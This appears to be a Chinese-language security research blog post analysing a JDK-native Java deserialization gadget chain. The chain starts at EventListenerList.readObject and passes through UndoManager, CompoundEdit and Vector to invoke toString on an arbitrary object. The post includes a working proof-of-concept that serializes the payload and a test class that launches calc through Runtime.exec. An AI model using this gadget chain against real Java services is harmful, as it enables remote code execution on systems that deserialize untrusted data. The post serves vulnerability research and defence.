EventListenerList触发任意toString

一条JDK原生的触发toString的链子

依赖

依赖的话我还是用最经典的jdk8u65,链子的限制版本还没手动去测

链子分析

javax.swing.event.EventListenerList#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;

while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
add((Class<EventListener>)Class.forName(name, true, cl), l);
}
}

主要看最后一句

1
add((Class<EventListener>)Class.forName(name, true, cl), l);

内部调用forName使用类加载器加载相关类,true表示加载类后会初始化类,即执行静态代码块,加载类后强制转化成EventListener类型,最后调用add将类的Class对象和实例对象添加为监听器

所以这里我们需要找到能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。

EventListenerList#add

跟进add方法

image-20251208124312555

可以看到这里有隐式调用toString的操作,会调用到实例对象的toString方法

所以我们需要找到这样一个类:

  • 能够强制转换为 EventListener 类型
  • 实现 Serializable 接口
  • 内部有toString方法

然后我们找到一个UndoManager类

image-20251208124731660

实现了UndoableEditListener接口,而这个接口继承了EventListener类

image-20251208124814650

返回来看UndoManager类还继承自CompoundEdit类,该类的继承类AbstractUndoableEdit实现了Serializable接口,那么到这里两个条件就满足了

UndoManager#toString

看到UndoManager类中的toString方法

1
2
3
4
public String toString() {
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;
}

这里limit和indexOfNextAdd属性都是int类型,并没有可以利用的地方,我们进入super.toString()看看

CompoundEdit#toString

1
2
3
4
5
6
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}

image-20251208125228659

inProgress是一个布尔类型,但是edits却是Vector类的对象,那么会调用到Vector#toString

Vector#toString

1
2
3
public synchronized String toString() {
return super.toString();
}

继续回溯

AbstractCollection#toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";

StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}

新建了一个迭代器对象循环集合中的元素并拼接,如果元素 e 正好就是集合本身就输出(this Collection),否则会输出元素e的toString

我们可以通过add方法将恶意类添加进去

1
2
3
4
5
6
7
8
9
10
public void add(E e) {
int i = cursor;
synchronized (Vector.this) {
checkForComodification();
Vector.this.add(i, e);
expectedModCount = modCount;
}
cursor = i + 1;
lastRet = -1;
}

继续跟进StringBuilder.append方法

StringBuilder#append

image-20251208125843616

跟进valueOf

String#valueOf

image-20251208125917810

会调用到obj的toString,到这里就可以进行任意类的toString调用了

注意的问题

需要注意一个点,就是在EventListenerList#add中

image-20251208130123623

这里会检查传入的实例对象是否是t加载类的实例对象,所以我们在UndoManager对象前面在加一个Class。说到底只要不是UndoManager.class就行

POC的编写

写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package SerializeChains.Chain_EventListenerList;

import java.io.Serializable;

public class Test implements Serializable {
public String name;

public Test(String name) {
this.name = name;
}
public String toString(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
throw new RuntimeException(e);
}
return "name: " + name;
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package SerializeChains.Chain_EventListenerList;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;

public class POC {
public static void main(String[] args) throws Exception {
Test test = new Test("wanth3f1ag");
EventListenerList eventListenerList = (EventListenerList) getEventListenerList(test);

String ser = serialize(eventListenerList);
unserialize(ser);
}
public static Object getEventListenerList(Object object) throws Exception{
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();

//从UndoManager父类CompoundEdit的edits中取出Vector对象,并将恶意类通过add添加
Vector vector = (Vector) getFieldValue(undoManager,"edits");
vector.add(object);

setFieldValue(eventListenerList,"listenerList", new Object[]{Class.class, undoManager});
return eventListenerList;
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception{
final Field f = getField (obj.getClass (), fieldName );
return f.get (obj);
}
public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
//定义序列化操作
public static String serialize(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
oos.close();
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//定义反序列化操作,提供base64后的字节码,进行反序列化
public static void unserialize(String poc) throws Exception{
byte[] bytes = Base64.getDecoder().decode(poc);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
}

image-20251208133106820

image-20251208133537349

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
toString:13, Test (SerializeChains.Chain_EventListenerList)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:69, POC (SerializeChains.Chain_EventListenerList)
main:16, POC (SerializeChains.Chain_EventListenerList)
-------------本文结束感谢您的阅读-------------